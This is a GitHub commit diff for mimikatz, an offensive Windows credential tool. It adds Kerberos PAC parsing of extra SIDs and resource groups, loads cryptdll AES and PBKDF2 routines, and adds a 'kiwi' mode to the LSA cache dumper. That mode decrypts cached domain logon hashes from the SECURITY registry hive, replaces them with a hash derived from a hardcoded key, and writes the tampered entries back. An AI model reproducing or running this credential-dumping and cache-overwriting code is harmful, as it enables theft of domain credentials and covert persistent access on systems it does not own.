Skip to content

Commit

Permalink
PAC fields, Crypto NT6 functions & Kiwi for Cache
Browse files Browse the repository at this point in the history
  • Loading branch information
gentilkiwi committed Apr 29, 2015
1 parent d05eb82 commit c7cf47f
Show file tree
Hide file tree
Showing 5 changed files with 185 additions and 48 deletions.
38 changes: 32 additions & 6 deletions mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c
Original file line number Diff line number Diff line change
Expand Up @@ -306,6 +306,10 @@ const RPCE_LAZY_ELEMENT_HEADER kuhl_m_kerberos_pac_headers[] = {
{PACINFO_ID_KERB_LOGONSERVER, sizeof(WCHAR), 0, TRUE}, // LogonServer
{PACINFO_ID_KERB_LOGONDOMAINNAME, sizeof(WCHAR), 0, TRUE}, // LogonDomainName
{PACINFO_ID_KERB_LOGONDOMAINID, sizeof(DWORD), 8, FALSE}, // LogonDomainId
{PACINFO_ID_KERB_EXTRASIDS, sizeof(DWORD)+sizeof(RPCEID), 0, FALSE},
{PACINFO_ID_KERB_EXTRASID, sizeof(DWORD), 8, FALSE},
{PACINFO_ID_KERB_RESGROUPDOMAINSID, sizeof(DWORD), 8, FALSE},
{PACINFO_ID_KERB_RESGROUPIDS, sizeof(GROUP_MEMBERSHIP), 0, FALSE},
// ... Lazy ;)
};

Expand All @@ -322,16 +326,24 @@ PVOID kuhl_m_kerberos_pac_giveElementById(RPCEID id, LPCVOID base)
{
dataOffset = sizeof(ULONG64) + sizeof(ULONG32);
nextOffset = *((PULONG32) (start + sizeof(ULONG64))) * kuhl_m_kerberos_pac_headers[i].ElementSize;
/*/kprintf(L"Buffer\t%016llx %08x -- ", *(PULONG64) start, *(PULONG32) (start + 8));
kull_m_string_wprintf_hex(start + dataOffset, (DWORD) nextOffset, 1);
kprintf(L"\n");*/

}
else
{
dataOffset = sizeof(ULONG32);
nextOffset = *((PULONG32) start) * kuhl_m_kerberos_pac_headers[i].ElementSize;
/*kprintf(L"%u, %u\n", *((PULONG32) start), *((PULONG32) start) * kuhl_m_kerberos_pac_headers[i].ElementSize);
kprintf(L"Data\t %08x -- ", *(PULONG64) start, *(PULONG32) (start + 4));
kull_m_string_wprintf_hex(start + dataOffset, (DWORD) nextOffset + kuhl_m_kerberos_pac_headers[i].FixedBeginSize, 1);
kprintf(L"\n");*/
}

if(id == kuhl_m_kerberos_pac_headers[i].ElementId)
{
kull_m_string_wprintf_hex(start, 12, 1); kprintf(L"\n");
//kull_m_string_wprintf_hex(start, 12, 1); kprintf(L"\n");
if(nextOffset)
return start + dataOffset;
else
Expand Down Expand Up @@ -361,6 +373,7 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
PPAC_SIGNATURE_DATA pSignatureData;
PPAC_CLIENT_INFO pClientInfo;
PGROUP_MEMBERSHIP pGroup;
PRPCE_KERB_EXTRA_SID pExtraSids;
PSID pSid;
PVOID base;

Expand All @@ -375,7 +388,9 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
case PACINFO_TYPE_LOGON_INFO:
pValInfo = (PRPCE_KERB_VALIDATION_INFO) ((PBYTE) pacType + pacType->Buffers[i].Offset);
base = (PBYTE) &pValInfo->infos + sizeof(MARSHALL_KERB_VALIDATION_INFO);

kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize);
kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1);
kprintf(L"\n");
kprintf(L"*** Validation Informations *** (%u)\n", pacType->Buffers[i].cbBufferSize);
kprintf(L"TypeHeader : version 0x%02x, endianness 0x%02x, length %hu (%u), filer %08x\n", pValInfo->typeHeader.Version, pValInfo->typeHeader.Endianness, pValInfo->typeHeader.CommonHeaderLength, sizeof(MARSHALL_KERB_VALIDATION_INFO), pValInfo->typeHeader.Filler);
kprintf(L"PrivateHeader : length %u, filer %08x\n", pValInfo->privateHeader.ObjectBufferLength, pValInfo->privateHeader.Filler);
Expand Down Expand Up @@ -426,16 +441,27 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
kprintf(L"\n");
kprintf(L"SidCount %u\n", pValInfo->infos.SidCount);
kprintf(L"ExtraSids @ %08x\n", pValInfo->infos.ExtraSids);
kprintf(L"ResourceGroupDomainSid @ %08x\n", pValInfo->infos.ResourceGroupDomainSid);
pExtraSids = (PRPCE_KERB_EXTRA_SID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ExtraSids, base);
for(j = 0; j < pValInfo->infos.SidCount; j++)
{
pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pExtraSids[j].ExtraSid, base);
kprintf(L"ExtraSid [%u] @ %08x\n * SID : ", j, pExtraSids[j].ExtraSid); kull_m_string_displaySID(pSid); kprintf(L"\n");
}
kprintf(L"\n");
pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ResourceGroupDomainSid, base);
kprintf(L"ResourceGroupDomainSid @ %08x\n * SID : ", pValInfo->infos.ResourceGroupDomainSid); kull_m_string_displaySID(pSid); kprintf(L"\n");
kprintf(L"ResourceGroupCount %u\n", pValInfo->infos.ResourceGroupCount);
kprintf(L"ResourceGroupIds @ %08x\n", pValInfo->infos.ResourceGroupIds);
pGroup = (PGROUP_MEMBERSHIP) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ResourceGroupIds, base);
kprintf(L"ResourceGroupIds @ %08x\n * RID : ", pValInfo->infos.ResourceGroupIds);
for(j = 0; j < pValInfo->infos.ResourceGroupCount; j++)
kprintf(L"%u,", pGroup[j].RelativeId); //, pGroup[j].Attributes);
break;
case PACINFO_TYPE_CHECKSUM_SRV: // Server Signature
case PACINFO_TYPE_CHECKSUM_KDC: // KDC Signature
pSignatureData = (PPAC_SIGNATURE_DATA) ((PBYTE) pacType + pacType->Buffers[i].Offset);
kprintf(L"*** %s Signature ***\n", (pacType->Buffers[i].ulType == 0x00000006) ? L"Server" : L"KDC");
kprintf(L"Type %08x - (%hu) : ", pSignatureData->SignatureType, 0);//pSignatureData->RODCIdentifier);
kull_m_string_wprintf_hex(pSignatureData->Signature, LM_NTLM_HASH_LENGTH, 0);
kull_m_string_wprintf_hex(pSignatureData->Signature, (pSignatureData->SignatureType == KERB_CHECKSUM_HMAC_MD5) ? LM_NTLM_HASH_LENGTH : 12, 0);
kprintf(L"\n");
break;
case PACINFO_TYPE_CNAME_TINFO: // Client name and ticket information
Expand Down
9 changes: 9 additions & 0 deletions mimikatz/modules/kerberos/kuhl_m_kerberos_pac.h
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,10 @@
#define PACINFO_ID_KERB_LOGONSERVER 0x00020020
#define PACINFO_ID_KERB_LOGONDOMAINNAME 0x00020024
#define PACINFO_ID_KERB_LOGONDOMAINID 0x00020028
#define PACINFO_ID_KERB_EXTRASIDS 0x0002002c
#define PACINFO_ID_KERB_EXTRASID 0x00020030
#define PACINFO_ID_KERB_RESGROUPDOMAINSID 0x00020034
#define PACINFO_ID_KERB_RESGROUPIDS 0x00020038

typedef struct _USER_SESSION_KEY {
UCHAR data[16];
Expand Down Expand Up @@ -152,6 +156,11 @@ typedef struct _RPCE_KERB_VALIDATION_INFO {
RPCEID RootElementId;
MARSHALL_KERB_VALIDATION_INFO infos;
} RPCE_KERB_VALIDATION_INFO, *PRPCE_KERB_VALIDATION_INFO;

typedef struct _RPCE_KERB_EXTRA_SID {
RPCEID ExtraSid;
DWORD Attributes;
} RPCE_KERB_EXTRA_SID, *PRPCE_KERB_EXTRA_SID;
#pragma pack(pop)

typedef struct _PAC_CLIENT_INFO {
Expand Down
165 changes: 129 additions & 36 deletions mimikatz/modules/kuhl_m_lsadump.c
Original file line number Diff line number Diff line change
Expand Up @@ -15,9 +15,33 @@ const KUHL_M_C kuhl_m_c_lsadump[] = {

const KUHL_M kuhl_m_lsadump = {
L"lsadump", L"LsaDump module", NULL,
ARRAYSIZE(kuhl_m_c_lsadump), kuhl_m_c_lsadump, NULL, NULL
ARRAYSIZE(kuhl_m_c_lsadump), kuhl_m_c_lsadump, kuhl_m_lsadump_init, NULL
};

PHMACWITHSHA HMACwithSHA = NULL;
PAESCTSDECRYPTMSG aesCTSDecryptMsg = NULL;
PAESCTSENCRYPTMSG aesCTSEncryptMsg = NULL;
PPBKDF2 PBKDF2 = NULL;

NTSTATUS kuhl_m_lsadump_init()
{
HMODULE hModule;
if(MIMIKATZ_NT_MAJOR_VERSION >= 6)
{
if(hModule = GetModuleHandle(L"cryptdll"))
{
aesCTSDecryptMsg = (PAESCTSDECRYPTMSG) GetProcAddress(hModule, "aesCTSDecryptMsg");
aesCTSEncryptMsg = (PAESCTSENCRYPTMSG) GetProcAddress(hModule, "aesCTSEncryptMsg");
HMACwithSHA = (PHMACWITHSHA) GetProcAddress(hModule, "HMACwithSHA");
PBKDF2 = (PPBKDF2) GetProcAddress(hModule, "PBKDF2");
}

if(!(aesCTSDecryptMsg && aesCTSEncryptMsg && HMACwithSHA && PBKDF2))
return STATUS_NOT_FOUND;
}
return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_lsadump_sam(int argc, wchar_t * argv[])
{
HANDLE hData;
Expand Down Expand Up @@ -94,8 +118,9 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
HKEY hSystemBase, hSecurityBase;
BYTE sysKey[SYSKEY_LENGTH];
BOOL isKeyOk = FALSE;
BOOL isKiwi = kull_m_string_args_byName(argc, argv, L"kiwi", NULL, NULL);

if(argc)
if(argc && !isKiwi)
{
hDataSystem = CreateFile(argv[0], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hDataSystem != INVALID_HANDLE_VALUE)
Expand All @@ -111,7 +136,7 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSecurity, &hSecurity))
{
kuhl_m_lsadump_getLsaKeyAndSecrets(hSecurity, NULL, hSystem, NULL, sysKey, secretsOrCache);
kuhl_m_lsadump_getLsaKeyAndSecrets(hSecurity, NULL, hSystem, NULL, sysKey, secretsOrCache, FALSE);
kull_m_registry_close(hSecurity);
}
CloseHandle(hDataSecurity);
Expand All @@ -133,7 +158,7 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
{
if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SECURITY", 0, KEY_READ, &hSecurityBase))
{
kuhl_m_lsadump_getLsaKeyAndSecrets(hSystem, hSecurityBase, hSystem, hSystemBase, sysKey, secretsOrCache);
kuhl_m_lsadump_getLsaKeyAndSecrets(hSystem, hSecurityBase, hSystem, hSystemBase, sysKey, secretsOrCache, isKiwi);
kull_m_registry_RegCloseKey(hSystem, hSecurityBase);
}
else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx (SECURITY)");
Expand Down Expand Up @@ -463,7 +488,7 @@ BOOL kuhl_m_lsadump_getSids(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolic
return status;
}

BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecurityBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN LPBYTE sysKey, IN BOOL secretsOrCache)
BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecurityBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN LPBYTE sysKey, IN BOOL secretsOrCache, IN BOOL kiwime)
{
BOOL status = FALSE;
HKEY hPolicy, hPolRev, hEncKey;
Expand Down Expand Up @@ -519,7 +544,7 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
MD5Init(&md5ctx);
MD5Update(&md5ctx, sysKey, SYSKEY_LENGTH);
for(i = 0; i < 1000; i++)
MD5Update(&md5ctx, ((PNT5_SYSTEM_KEYS) buffer)->lazyiv, LAZY_NT5_IV_SIZE);
MD5Update(&md5ctx, ((PNT5_SYSTEM_KEYS) buffer)->lazyiv, LAZY_IV_SIZE);
MD5Final(&md5ctx);
data.Buffer = (PBYTE) ((PNT5_SYSTEM_KEYS) buffer)->keys;
if(NT_SUCCESS(RtlEncryptDecryptRC4(&data, &key)))
Expand Down Expand Up @@ -547,7 +572,7 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
if(secretsOrCache)
kuhl_m_lsadump_getSecrets(hSecurity, hPolicy, hSystem, hSystemBase, nt6keysStream, nt5key);
else
kuhl_m_lsadump_getNLKMSecretAndCache(hSecurity, hPolicy, hSecurityBase, nt6keysStream, nt5key);
kuhl_m_lsadump_getNLKMSecretAndCache(hSecurity, hPolicy, hSecurityBase, nt6keysStream, nt5key, kiwime);
}
kull_m_registry_RegCloseKey(hSecurity, hPolicy);
}
Expand Down Expand Up @@ -626,28 +651,61 @@ BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPo
return status;
}

BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique)
NTSTATUS kuhl_m_lsadump_get_dcc(PBYTE dcc, PBYTE ntlm, PUNICODE_STRING Username, DWORD realIterations)
{
NTSTATUS result;
LSA_UNICODE_STRING HashAndLowerUsername;
LSA_UNICODE_STRING LowerUsername;
BYTE buffer[LM_NTLM_HASH_LENGTH];

result = RtlDowncaseUnicodeString(&LowerUsername, Username, TRUE);
if(NT_SUCCESS(result))
{
HashAndLowerUsername.Length = HashAndLowerUsername.MaximumLength = LowerUsername.Length + LM_NTLM_HASH_LENGTH;
if(HashAndLowerUsername.Buffer = (PWSTR) LocalAlloc(LPTR, HashAndLowerUsername.MaximumLength))
{
RtlCopyMemory(HashAndLowerUsername.Buffer, ntlm, LM_NTLM_HASH_LENGTH);
RtlCopyMemory((PBYTE) HashAndLowerUsername.Buffer + LM_NTLM_HASH_LENGTH, LowerUsername.Buffer, LowerUsername.Length);
result = RtlDigestNTLM(&HashAndLowerUsername, dcc);
if(NT_SUCCESS(result))
{
if(realIterations)
{
result = PBKDF2(dcc, LM_NTLM_HASH_LENGTH, LowerUsername.Buffer, LowerUsername.Length, realIterations, LM_NTLM_HASH_LENGTH, buffer);
if(NT_SUCCESS(result))
RtlCopyMemory(dcc, buffer, LM_NTLM_HASH_LENGTH);
}
}
LocalFree(HashAndLowerUsername.Buffer);
}
RtlFreeUnicodeString(&LowerUsername);
}
return result;
}

BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, BOOL kiwime)
{
BOOL status = FALSE;
HKEY hValue, hCache;
DWORD i, j, szNLKM, nbValues, szMaxValueNameLen, szMaxValueLen, szSecretName, szSecret, szNeeded;
DWORD i, j = 10240, szNLKM, nbValues, szMaxValueNameLen, szMaxValueLen, szSecretName, szSecret, szNeeded, s1;
PVOID pNLKM;
wchar_t * secretName;
PMSCACHE_ENTRY pMsCacheEntry;
PBYTE pMsCacheData;
HCRYPTPROV hContext;
HCRYPTKEY hKey;
AES_128_KEY_BLOB keyBlob = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, CALG_AES_128}, AES_128_KEY_SIZE};
DWORD s1;
NTSTATUS nStatus;
BYTE digest[MD5_DIGEST_LENGTH];
CRYPTO_BUFFER data, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, digest};

DWORD type;
BYTE kiwiKey[] = {0x60, 0xba, 0x4f, 0xca, 0xdc, 0x46, 0x6c, 0x7a, 0x03, 0x3c, 0x17, 0x81, 0x94, 0xc0, 0x3d, 0xf6};
LSA_UNICODE_STRING usr;

if(kull_m_registry_RegOpenKeyEx(hSecurity, hPolicyBase, L"Secrets\\NL$KM\\CurrVal", 0, KEY_READ, &hValue))
{
if(kuhl_m_lsadump_decryptSecret(hSecurity, hValue, lsaKeysStream, lsaKeyUnique, &pNLKM, &szNLKM))
{
if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Cache", 0, KEY_READ, &hCache))
if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Cache", 0, KEY_READ | (kiwime ? KEY_WRITE : 0), &hCache))
{
if(lsaKeysStream)
{
Expand All @@ -673,52 +731,87 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity,
{
szSecretName = szMaxValueNameLen;
szSecret = szMaxValueLen;
if(kull_m_registry_RegEnumValue(hSecurity, hCache, i, secretName, &szSecretName, NULL, NULL, (LPBYTE) pMsCacheEntry, &szSecret))
if(kull_m_registry_RegEnumValue(hSecurity, hCache, i, secretName, &szSecretName, NULL, &type, (LPBYTE) pMsCacheEntry, &szSecret))
{
if((_wcsnicmp(secretName, L"NL$Control", 10) == 0) || (_wcsnicmp(secretName, L"NL$IterationCount", 17) == 0) || !(pMsCacheEntry->flags & 1))
continue;

pMsCacheData = (PBYTE) pMsCacheEntry->enc_data;

kprintf(L"\n[%s - ", secretName);
kull_m_string_displayLocalFileTime(&pMsCacheEntry->lastWrite);
kprintf(L"]\nRID : %08x (%u)\n", pMsCacheEntry->userId, pMsCacheEntry->userId);

if(lsaKeysStream) // NT 6
{
RtlCopyMemory(keyBlob.key, pNLKM, AES_128_KEY_SIZE);
if(CryptAcquireContext(&hContext, NULL, (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_2K3) ? MS_ENH_RSA_AES_PROV_XP : MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
if(MIMIKATZ_NT_MAJOR_VERSION >= 6)
{
if(CryptImportKey(hContext, (LPBYTE) &keyBlob, sizeof(AES_128_KEY_BLOB), 0, 0, &hKey))
s1 = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data);
RtlCopyMemory(digest, pMsCacheEntry->iv, LAZY_IV_SIZE);
nStatus = aesCTSDecryptMsg(AES_128_KEY_SIZE, pNLKM, s1, pMsCacheEntry->enc_data, digest);
if(NT_SUCCESS(status))
{
if(status = CryptSetKeyParam(hKey, KP_IV, pMsCacheEntry->iv, 0))
kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2');
if(kiwime)
{
s1 = sizeof(MSCACHE_DATA) + pMsCacheEntry->szUserName + 2 * ((pMsCacheEntry->szUserName / sizeof(wchar_t)) % 2) + pMsCacheEntry->szDomainName;
s1 += s1 % AES_BLOCK_SIZE;

if(s1 <= szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data))
kprintf(L"> Kiwi mode...\n");
usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName;
usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA));
if(NT_SUCCESS(kuhl_m_lsadump_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, kiwiKey, &usr, j)))
{
for(j = 0; status && (j < s1); j+= AES_BLOCK_SIZE)
kprintf(L" MsCacheV2 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
status = HMACwithSHA(pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->enc_data, s1, (PVOID *) &pMsCacheEntry->cksum, MD5_DIGEST_LENGTH);
if(NT_SUCCESS(status))
{
kprintf(L" Checksum : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n");
RtlCopyMemory(digest, pMsCacheEntry->iv, LAZY_IV_SIZE);
nStatus = aesCTSEncryptMsg(AES_128_KEY_SIZE, pNLKM, s1, pMsCacheEntry->enc_data, digest);
if(NT_SUCCESS(status))
{
nStatus = RegSetValueEx(hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret);
if(nStatus == ERROR_SUCCESS)
kprintf(L"> OK!\n");
else PRINT_ERROR(L"RegSetValueEx: 0x%08x\n", nStatus);
}
}
}
}
}
}
else
{
RtlCopyMemory(keyBlob.key, pNLKM, AES_128_KEY_SIZE);
if(CryptAcquireContext(&hContext, NULL, (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_2K3) ? MS_ENH_RSA_AES_PROV_XP : MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
{
if(CryptImportKey(hContext, (LPBYTE) &keyBlob, sizeof(AES_128_KEY_BLOB), 0, 0, &hKey))
{
if(status = CryptSetKeyParam(hKey, KP_IV, pMsCacheEntry->iv, 0))
{
s1 = sizeof(MSCACHE_DATA) + pMsCacheEntry->szUserName + 2 * ((pMsCacheEntry->szUserName / sizeof(wchar_t)) % 2) + pMsCacheEntry->szDomainName;
s1 += s1 % AES_BLOCK_SIZE;

if(s1 <= szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data))
{
szNeeded = AES_BLOCK_SIZE;
status = CryptDecrypt(hKey, 0, FALSE, 0, pMsCacheEntry->enc_data + j, &szNeeded);
for(j = 0; status && (j < s1); j+= AES_BLOCK_SIZE)
{
szNeeded = AES_BLOCK_SIZE;
status = CryptDecrypt(hKey, 0, FALSE, 0, pMsCacheEntry->enc_data + j, &szNeeded);
}

if(status)
kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2');
else PRINT_ERROR_AUTO(L"CryptDecrypt");
}

if(status)
kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2');
else PRINT_ERROR_AUTO(L"CryptDecrypt");
}
else PRINT_ERROR_AUTO(L"CryptSetKeyParam");
CryptDestroyKey(hKey);
}
else PRINT_ERROR_AUTO(L"CryptSetKeyParam");
CryptDestroyKey(hKey);
else PRINT_ERROR_AUTO(L"CryptImportKey");
CryptReleaseContext(hContext, 0);
}
else PRINT_ERROR_AUTO(L"CryptImportKey");
CryptReleaseContext(hContext, 0);
}
}
else // NT 5
{
kuhl_m_lsadump_hmac_md5(pNLKM, szNLKM, pMsCacheEntry->iv, LAZY_NT5_IV_SIZE, digest);
kuhl_m_lsadump_hmac_md5(pNLKM, szNLKM, pMsCacheEntry->iv, LAZY_IV_SIZE, digest);
data.Length = data.MaximumLength = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data);
data.Buffer = pMsCacheEntry->enc_data;
nStatus = RtlEncryptDecryptRC4(&data, &key);
Expand Down
Loading

0 comments on commit c7cf47f

Please sign in to comment.